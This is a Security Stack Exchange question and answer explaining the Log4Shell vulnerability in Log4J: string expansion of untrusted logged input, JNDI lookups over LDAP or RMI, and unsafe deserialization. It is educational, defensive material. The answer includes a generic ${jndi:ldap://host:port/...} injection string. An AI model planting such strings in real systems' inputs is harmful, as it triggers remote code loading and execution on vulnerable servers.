70

Log4shell is making the news. A vulnerability in the widely used logging tool Log4J is putting many servers and even some desktop applications at risk of remote code execution.

How does this vulnerability work? What sort of mistake makes it possible? It is something about format strings and ${jndi:...}, but why would a string like that cause remote code execution?

I'm looking for an explanation on a level suitable for an IT professional without any experience with Log4J or advanced security issues. Sort of like how you would explain SQLi or XSS to a newbie web developer.

Anders
  • 64,406
  • 24
  • 178
  • 215
  • 6
    There's a very detailed walkthrough by Sophos here that's a bit more oriented from a programmer perspective: https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/ – rink.attendant.6 Dec 14 '21 at 22:46
  • 3
    There's a more "executive summary" type of explanation at https://thedailywtf.com/articles/don-t-lookup-the-log4j-debacle – Barmar Dec 15 '21 at 15:54

1 Answers1

82

In short - from my understanding the vulnerability is caused by:

  • treating data for logging as trusted, even though they might come from an untrusted source (like logging the user agent of a HTTP request)
  • combined with powerful string expansion in log4j2
  • triggers loading of remote serialized Java object using LDAP or RMI
  • which leads to code execution when instantiating (deserializing) the loaded object

In detail - there are several design problems which lead to the problem:

  • log4j allows string expansion inside log strings, for example things like ${date:YYYYMMDD}. Unfortunately this feature was until log4j 2.15.0 enabled by default, even though logging often includes untrusted user input, e.g. logger.debug(userInput). And unexpectedly the string expansion of untrusted input even worked with parameterized statements like logger.debug("user said: {}", userInput).
  • Not only seemingly innocent expansion like the date could be included and triggered by a remote attacker, but also dynamic name lookup using the Java Naming and Directory Interface (JNDI) - i.e. ${jndi:ldap://host:port/whatever}. This is a powerful mechanism with a large potential attack surface known for years - see this talk from Blackhat 2016.
  • This potential large attack surface comes from the ability to load serialized Java objects from a remote system using LDAP or RMI. Instantiation of these objects requires deserialization which can lead to code execution. This might be done by exploiting a bug in an installed class like in this famous and widespread issue in Apache Commons in 2015. Or in some cases it might be even done by loading the code for the yet unknown class from remote. In other words: Java's high flexibility enables security issues.

Note that nowhere here is an actual bug which accidentally slipped through. Everything works as designed. Only the design does not provide the necessary robustness in real world use cases which involve logging untrusted data.

hft
  • 4,910
  • 17
  • 32
Steffen Ullrich
  • 184,332
  • 29
  • 363
  • 424
  • Comments are not for extended discussion; this conversation has been [moved to chat](https://chat.stackexchange.com/rooms/132379/discussion-on-answer-by-steffen-ullrich-how-does-the-log4shell-vulnerability-wor). – Rory Alsop Dec 16 '21 at 08:31